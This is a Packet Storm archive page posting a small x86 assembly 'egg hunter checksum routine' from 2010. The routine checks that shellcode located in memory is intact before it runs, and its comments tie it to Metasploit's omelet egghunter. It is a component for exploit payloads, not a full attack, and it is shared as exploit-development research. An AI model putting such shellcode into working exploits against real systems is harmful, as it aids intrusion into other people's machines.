what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Shellcode Checksum Routine

Shellcode Checksum Routine
Posted Sep 3, 2010
Authored by Ron Henry

This shellcode is an egg hunter checksum routine.

tags | shellcode
SHA-256 | fee040ab77ec20438f18cdd7bb579cf821c42ad1bdd3604706b762910166ec3b

Shellcode Checksum Routine

Change Mirror Download
;Exploit Title: Shellcode Checksum Routine
;Date: Sept 1 2010
;Author: dijital1
;Software Link: http://www.ciphermonk.net/code/exploits/shellcode-checksum.asm
;Tested on: Omelet Hunter Shellcode in MSF
;"|------------------------------------------------------------------|"
;"| __ __ |"
;"| _________ ________ / /___ _____ / /____ ____ _____ ___ |"
;"| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
;"| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |"
;"| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |"
;"| |"
;"| http://www.corelan.be:8800 |"
;"| security@corelan.be |"
;"| |"
;"|-------------------------------------------------[ EIP Hunters ]--|"
;" -= Egg Hunter Checksum Routine - dijital1 =- "

[BITS 32]

;Author: Ron Henry - dijital1
;Email: rlh@ciphermonk.net
;Site: http://www.ciphermonk.net
;Greetz to Exploit-db and Team Corelan

;Ok... couple of assumptions with this code. First, we're using a single
;byte as the checksum which gives us a 1 in 255 or ~0.39% chance of a
;collision.
;We consider this a worthwhile risk given the overall size of the code; 18 bytes.

;There are a couple ways to implement this, but a good example is how it
;was used in Peter Van Eeckhoutte's omelet egghunter mixin that was recently
;added to the Metasploit Framework.

;We're using a 1 byte footer at the end of the shellcode that contains the
;checksum generated at shellcode creation.

; Variables eax: accumulator
; edx: points to current byte in shellcode
; ecx: counter

egg_size equ 0x7a ;we're testing 122 bytes in this instance

find_egg:

xor ecx, ecx ;zero the counter
xor eax, eax ;zero the accumlator

calc_chksum_loop:
add al, byte [edx+ecx] ;add the byte to running total
inc ecx ;increment the counter
cmp cl, egg_size ;cmp counter to egg_size
jnz calc_chksum_loop ;if it's not equal repeat

test_ckksum:
cmp al, byte [edx+ecx] ;cmp eax with 1 byte checksum
jnz find_egg ;search for another egg if checksum is bogus

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close